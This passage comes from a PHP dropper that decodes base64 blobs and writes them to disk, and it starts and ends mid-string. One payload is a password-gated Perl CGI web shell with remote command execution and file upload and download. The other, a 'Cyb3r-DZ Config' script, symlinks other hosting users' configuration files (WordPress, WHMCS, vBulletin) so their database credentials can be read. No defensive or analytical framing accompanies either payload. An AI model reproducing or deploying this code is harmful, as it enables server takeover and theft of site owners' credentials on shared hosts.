1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5CiMgY29tbWFuZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5IGlzIHN0b3JlZCBpbgojIGFuIGludGVybmFsIHZhcmlhYmxlIGFuZCBpcyB1c2VkIGVhY2ggdGltZSBhIGNvbW1hbmQgaGFzIHRvIGJlIGV4ZWN1dGVkLiBUaGUKIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2VycwojIHRoZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBFeGVjdXRlQ29tbWFuZAp7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCQoJCSRPbGREaXIgPSAkQ3VycmVudERpcjsKCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7CgkJY2hvcCgkQ3VycmVudERpciA9IGAkQ29tbWFuZGApOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCQlwcmludCAiPGRpdiBzdHlsZT0nZmxvYXQ6IGNlbnRlcjsgdGV4dC1hbGlnbjogbGVmdDsnPiI7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOwoJCXByaW50ICI8Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPiI7Cgl9CgllbHNlICMgc29tZSBvdGhlciBjb21tYW5kLCBkaXNwbGF5IHRoZSBvdXRwdXQKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJcHJpbnQgIjxkaXYgc3R5bGU9J2Zsb2F0OiBjZW50ZXI7IHRleHQtYWxpZ246IGxlZnQ7Jz4iOwoJCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJCXByaW50ICI8Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPjx4bXAgc3R5bGU9J2NvbG9yOiAjMDBGRjAwOyc+IjsKCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CgkJaWYoISRXaW5OVCkKCQl7CgkJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsKCQl9CgkJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJCXsKCQkJJHw9MTsKCQkJJENvbW1hbmQgLj0gIiB8IjsKCQkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7CgkJCXdoaWxlKDxDb21tYW5kT3V0cHV0PikKCQkJewoJCQkJJF8gPX4gcy8oXG58XHJcbikkLy87CgkJCQlwcmludCAiJF9cbiI7CgkJCX0KCQkJJHw9MDsKCQl9CgkJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgkJewoJCQlwcmludCBgJENvbW1hbmRgOwoJCX0KCQlpZighJFdpbk5UKQoJCXsKCQkJYWxhcm0oMCk7CgkJfQoJCXByaW50ICI8L3htcD4iOwoJfQoJcHJpbnQgIjwvZGl2PiI7CgkmUHJpbnRQYWdlRm9vdGVyOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXIKIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gKIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5LgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQp7Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsKCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cwoJewoJCSMgZW5jb2RlIHRoZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8gdGhlIGJyb3dzZXIKCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7CgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOwoJCSRIdG1sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlWPVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvd25sb2FkTGlua1wiPiI7CgkJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJCXByaW50IDw8RU5EOwo8Y29kZT4KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+CklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LAo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPi4KPC9jb2RlPgpFTkQKCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdAoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQlwcmludCAiPGNvZGU+RmFpbGVkIHRvIGRvd25sb2FkICRGaWxlVXJsOiAkITwvY29kZT4iOwoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gcmVhZHMgdGhlIHNwZWNpZmllZCBmaWxlIGZyb20gdGhlIGRpc2sgYW5kIHNlbmRzIGl0IHRvIHRoZQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyCnsKCWxvY2FsKCRTZW5kRmlsZSkgPSBAXzsKCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcKCXsKCQlpZigkV2luTlQpCgkJewoJCQliaW5tb2RlKFNFTkRGSUxFKTsKCQkJYmlubW9kZShTVERPVVQpOwoJCX0KCQkkRmlsZVNpemUgPSAoc3RhdCgkU2VuZEZpbGUpKVs3XTsKCQkoJEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7CgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOwoJCXByaW50ICJDb250ZW50LUxlbmd0aDogJEZpbGVTaXplXG4iOwoJCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOwoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOwoJCWNsb3NlKFNFTkRGSUxFKTsKCX0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXByaW50ICI8Y29kZT5GYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkITwvY29kZT4iOwoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KfQoKCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGRvd25sb2FkcyBhIGZpbGUuIEl0IGRpc3BsYXlzIGEgbWVzc2FnZQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIyBUaGlzIGZ1bmN0aW9uIGlzIGFsc28gY2FsbGVkIHdoZW4gdGhlIHVzZXIgY2xpY2tzIG9uIHRoYXQgbGluay4gSW4gdGhpcyBjYXNlLAojIHRoZSBmaWxlIGlzIHJlYWQgYW5kIHNlbnQgdG8gdGhlIGJyb3dzZXIuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJlZ2luRG93bmxvYWQKewoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8CgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOwoJfQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UKCXsKCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IHN0YXJ0cyB0aGUgdXBsb2FkIHByb2Nlc3MuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFVwbG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQkmUHJpbnRGaWxlVXBsb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJCXJldHVybjsKCX0KCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2VzcwoJcHJpbnQgIjxjb2RlPlVwbG9hZGluZyAkVHJhbnNmZXJGaWxlIHRvICRDdXJyZW50RGlyLi4uPGJyPiI7CgoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZAoJY2hvcCgkVGFyZ2V0TmFtZSkgaWYgKCRUYXJnZXROYW1lID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkkVHJhbnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOwoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7CgoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7CgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQKCWlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQoJewoJCXByaW50ICJGYWlsZWQ6IERlc3RpbmF0aW9uIGZpbGUgYWxyZWFkeSBleGlzdHMuPGJyPiI7Cgl9CgllbHNlICMgZmlsZSBpcyBub3QgcHJlc2VudAoJewoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQoJCXsKCQkJYmlubW9kZShVUExPQURGSUxFKSBpZiAkV2luTlQ7CgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9OwoJCQljbG9zZShVUExPQURGSUxFKTsKCQkJcHJpbnQgIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOwoJCQlwcmludCAiRmlsZSBQYXRoOiAkVGFyZ2V0TmFtZTxicj4iOwoJCX0KCQllbHNlCgkJewoJCQlwcmludCAiRmFpbGVkOiAkITxicj4iOwoJCX0KCX0KCXByaW50ICI8L2NvZGU+IjsKCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJJlByaW50UGFnZUZvb3RlcjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IGRpc3BsYXlzIGEgbWVzc2FnZSB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rCiMgdGhyb3VnaCAgd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIERvd25sb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2FpbgoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJCXJldHVybjsKCX0KCQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8CgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOwoJfQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UKCXsKCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiZSZWFkUGFyc2U7CiZHZXRDb29raWVzOwoKJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9ICRpbnsnYyd9OwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CgokQWN0aW9uID0gJGlueydhJ307CiRBY3Rpb24gPSAibG9naW4iIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFjdGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0CgojIGdldCB0aGUgZGlyZWN0b3J5IGluIHdoaWNoIHRoZSBjb21tYW5kcyB3aWxsIGJlIGV4ZWN1dGVkCiRDdXJyZW50RGlyID0gJGlueydkJ307CmNob3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsKCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRwYXNzd29yZDsKCmlmKCRBY3Rpb24gZXEgImxvZ2luIiB8fCAhJExvZ2dlZEluKSAjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJmb3JtTG9naW47Cn0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpICMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kCnsKCSZFeGVjdXRlQ29tbWFuZDsKfQplbHNpZigkQWN0aW9uIGVxICJ1cGxvYWQiKSAjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQp7CgkmVXBsb2FkRmlsZTsKfQplbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIpICMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUKewoJJkRvd25sb2FkRmlsZTsKfQplbHNpZigkQWN0aW9uIGVxICJsb2dvdXQiKSAjIHVzZXIgd2FudHMgdG8gbG9nb3V0CnsKCSZQZXJmb3JtTG9nb3V0Owp9Cg==');
$write = fwrite ($file ,$sa);

$file = fopen($dir."config.sa" ,"w+");
$sa=base64_decode('IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOwpwcmludCc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4KPGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9ImVuLXVzIiAvPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4KPHRpdGxlPlt+XSBDeWIzci1EWiBDb25maWcgLSBbfl0gPC90aXRsZT4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KLm5ld1N0eWxlMSB7CiBmb250LWZhbWlseTogVGFob21hOwogZm9udC1zaXplOiB4LXNtYWxsOwogZm9udC13ZWlnaHQ6IGJvbGQ7CiBjb2xvcjogIzAwRkZGRjsKICB0ZXh0LWFsaWduOiBjZW50ZXI7Cn0KPC9zdHlsZT4KPC9oZWFkPgonOwpzdWIgbGlsewogICAgKCR1c2VyKSA9IEBfOwokbXNyID0gcXh7cHdkfTsKJGtvbGE9JG1zci4iLyIuJHVzZXI7CiRrb2xhPX5zL1xuLy9nOyAKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FtZW1iZXIvY29uZmlnLmluYy5waHAnLCRrb2xhLictYW1lbWJlci50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5pbmMucGhwJywka29sYS4nLWFtZW1iZXIyLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWVtYmVycy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1tZW1iZXJzLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJGtvbGEuJzIudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLWZvcnVtLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCcsJGtvbGEuJzQudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLXZiLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy1pbmNsdWRlcy12Yi50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy13aG0xNS50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htYzE2LnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htY3MudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnQudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzF3aG1jcy50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1Ym1pdHRpY2tldC5waHAnLCRrb2xhLictd2htY3MyLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnRzLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWNsaWVudC50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudGVzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWNsaWVudHMudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmcudHh0Jyk7IApzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmcudHh0Jyk7IApzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXkvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictYmlsbGluZy50eHQnKTsgCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9teXNob3AvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictYmlsbGluZy50eHQnKTsgCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmcudHh0Jyk7IApzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2VjdXJlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmctc2VjdXJlLnR4dCcpOyAKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21hbmFnZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1iaWxsaW5nLW1hbmFnZS50eHQnKTsgCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hY2NvdW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmctYWNjb3VudC50eHQnKTsgCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZXJ2aWNlcy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1iaWxsaW5nLWFjY291bnQudHh0Jyk7IApzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXkvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictYmlsbGluZy1teS50eHQnKTsgCn0KaWYgKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgJ1BPU1QnKSB7CiAgcmVhZChTVERJTiwgJGJ1ZmZlciwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cn0gZWxzZSB7CiAgJGJ1ZmZlciA9ICRFTlZ7J1FVRVJZX1NUU